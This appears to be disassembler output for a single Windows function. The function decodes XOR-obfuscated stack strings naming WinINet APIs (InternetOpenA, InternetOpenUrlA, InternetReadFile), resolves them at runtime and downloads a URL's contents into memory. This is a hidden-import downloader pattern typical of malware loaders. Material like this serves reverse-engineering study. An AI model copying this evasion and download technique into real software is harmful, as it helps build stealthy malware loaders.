Function at 0x2672f1030
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov rbx, rcx
mov r12, rdx
mov rbp, r8
mov dword [rsp + 0x5c], 0
test r8, r8
sete al
test rcx, rcx
sete dl
or al, dl
jne 0x2672f14cb
test r12, r12
je 0x2672f14cb
call fcn.2672f1f50
mov rdi, rax
mov byte [rsp + 0x40], 0x7f
mov byte [rsp + 0x41], 0x58
mov byte [rsp + 0x42], 0x42
mov byte [rsp + 0x43], 0x53
mov byte [rsp + 0x44], 0x44
mov byte [rsp + 0x45], 0x58
mov byte [rsp + 0x46], 0x53
mov byte [rsp + 0x47], 0x42
mov byte [rsp + 0x48], 0x79
mov byte [rsp + 0x49], 0x46
mov byte [rsp + 0x4a], 0x53
mov byte [rsp + 0x4b], 0x58
mov byte [rsp + 0x4c], 0x77
mov byte [rsp + 0x4d], 0x36
mov eax, 0
lea r8, [0x267337078]
movzx edx, byte [rsp + rax + 0x40]
mov ecx, edx
xor ecx, 0x36
mov byte [r8 + rax], cl
add rax, 1
cmp dl, 0x36
jne 0x2672f10c8
lea rdx, [0x267337078]
mov rcx, rdi
call fcn.2672f28a0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
call rax
mov qword [rsp + 0x30], rax
mov r13, rax
test rax, rax
je 0x2672f1342
mov byte [rsp + 0x40], 0x7f
mov byte [rsp + 0x41], 0x58
mov byte [rsp + 0x42], 0x42
mov byte [rsp + 0x43], 0x53
mov byte [rsp + 0x44], 0x44
mov byte [rsp + 0x45], 0x58
mov byte [rsp + 0x46], 0x53
mov byte [rsp + 0x47], 0x42
mov byte [rsp + 0x48], 0x79
mov byte [rsp + 0x49], 0x46
mov byte [rsp + 0x4a], 0x53
mov byte [rsp + 0x4b], 0x58
mov byte [rsp + 0x4c], 0x63
mov byte [rsp + 0x4d], 0x44
mov byte [rsp + 0x4e], 0x5a
mov byte [rsp + 0x4f], 0x77
mov byte [rsp + 0x50], 0x36
mov eax, 0
lea r8, [0x267337060]
movzx edx, byte [rsp + rax + 0x40]
mov ecx, edx
xor ecx, 0x36
mov byte [r8 + rax], cl
add rax, 1
cmp dl, 0x36
jne 0x2672f1180
lea rdx, [0x267337060]
mov rcx, rdi
call fcn.2672f28a0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2400
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov rcx, qword [rsp + 0x30]
call rax
mov r13, rax
test rax, rax
je 0x2672f1342
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x2672f1342
mov byte [rsp + 0x40], 0x7f
mov byte [rsp + 0x41], 0x58
mov byte [rsp + 0x42], 0x42
mov byte [rsp + 0x43], 0x53
mov byte [rsp + 0x44], 0x44
mov byte [rsp + 0x45], 0x58
mov byte [rsp + 0x46], 0x53
mov byte [rsp + 0x47], 0x42
mov byte [rsp + 0x48], 0x64
mov byte [rsp + 0x49], 0x53
mov byte [rsp + 0x4a], 0x57
mov byte [rsp + 0x4b], 0x52
mov byte [rsp + 0x4c], 0x70
mov byte [rsp + 0x4d], 0x5f
mov byte [rsp + 0x4e], 0x5a
mov byte [rsp + 0x4f], 0x53
mov byte [rsp + 0x50], 0x36
mov eax, 0
lea r8, [0x267337040]
movzx edx, byte [rsp + rax + 0x40]
mov ecx, edx
xor ecx, 0x36
mov byte [r8 + rax], cl
add rax, 1
cmp dl, 0x36
jne 0x2672f1256
lea rdx, [0x267337040]
mov rcx, rdi
call fcn.2672f28a0
mov r15, rax
mov r14d, 0
mov ebx, 0
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0xc0], rbp
mov rbp, rax
jmp 0x2672f12e7
mov edx, r14d
mov r8d, 0x42
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rbx, rbx
je 0x2672f14b9
mov r8d, dword [rsp + 0x5c]
mov rdx, rsi
mov rcx, rbx
call fcn.2673329c8
mov ecx, dword [rsp + 0x5c]
mov rdi, rsi
mov eax, 0
rep stosb byte [rdi], al
cmp dword [rsp + 0x5c], 0x400
jbe 0x2672f131b
mov r9, rbp
mov r8d, 0x400
mov rdx, rsi
mov rcx, r13
call r15
test eax, eax
je 0x2672f1335
mov edx, dword [rsp + 0x5c]
add r14d, edx
test rbx, rbx
jne 0x2672f12a1
mov edx, edx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
jmp 0x2672f12b6
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0xc0]
mov qword [r12], rbx
mov eax, r14d
mov qword [rbp], rax
jmp 0x2672f1342
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0xc0]
mov byte [rsp + 0x40], 0x7f
mov byte [rsp + 0x41], 0x58
mov byte [rsp + 0x42], 0x42
mov byte [rsp + 0x43], 0x53
mov byte [rsp + 0x44], 0x44
mov byte [rsp + 0x45], 0x58
mov byte [rsp + 0x46], 0x53
mov byte [rsp + 0x47], 0x42
mov byte [rsp + 0x48], 0x75
mov byte [rsp + 0x49], 0x5a
mov byte [rsp + 0x4a], 0x59
mov byte [rsp + 0x4b], 0x45
mov byte [rsp + 0x4c], 0x53
mov byte [rsp + 0x4d], 0x7e
mov byte [rsp + 0x4e], 0x57
mov byte [rsp + 0x4f], 0x58
mov byte [rsp + 0x50], 0x52
mov byte [rsp + 0x51], 0x5a
mov byte [rsp + 0x52], 0x53
mov byte [rsp + 0x53], 0x36
mov eax, 0
lea r8, [0x267337020]
movzx edx, byte [rsp + rax + 0x40]
mov ecx, edx
xor ecx, 0x36
mov byte [r8 + rax], cl
add rax, 1
cmp dl, 0x36
jne 0x2672f13b2
lea rdx, [0x267337020]
mov rcx, rdi
call fcn.2672f28a0
mov rbx, rax
mov byte [rsp + 0x40], 0x7f
mov byte [rsp + 0x41], 0x58
mov byte [rsp + 0x42], 0x42
mov byte [rsp + 0x43], 0x53
mov byte [rsp + 0x44], 0x44
mov byte [rsp + 0x45], 0x58
mov byte [rsp + 0x46], 0x53
mov byte [rsp + 0x47], 0x42
mov byte [rsp + 0x48], 0x65
mov byte [rsp + 0x49], 0x53
mov byte [rsp + 0x4a], 0x42
mov byte [rsp + 0x4b], 0x79
mov byte [rsp + 0x4c], 0x46
mov byte [rsp + 0x4d], 0x42
mov byte [rsp + 0x4e], 0x5f
mov byte [rsp + 0x4f], 0x59
mov byte [rsp + 0x50], 0x58
mov byte [rsp + 0x51], 0x77
mov byte [rsp + 0x52], 0x36
mov eax, 0
lea r8, [section..bss]
movzx edx, byte [rsp + rax + 0x40]
mov ecx, edx
xor ecx, 0x36
mov byte [r8 + rax], cl
add rax, 1
cmp dl, 0x36
jne 0x2672f1446
lea rdx, [section..bss]
mov rcx, rdi
call fcn.2672f28a0
mov rsi, rax
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x2672f147e
mov rcx, rax
call rbx
test r13, r13
je 0x2672f1488
mov rcx, r13
call rbx
mov r9d, 0
mov r8d, 0
mov edx, 0x27
mov ecx, 0
call rsi
mov eax, 0
cmp qword [r12], 0
je 0x2672f14d0
cmp qword [rbp], 0
setne al
movzx eax, al
jmp 0x2672f14d0
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0xc0]
jmp 0x2672f1342
mov eax, 0
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret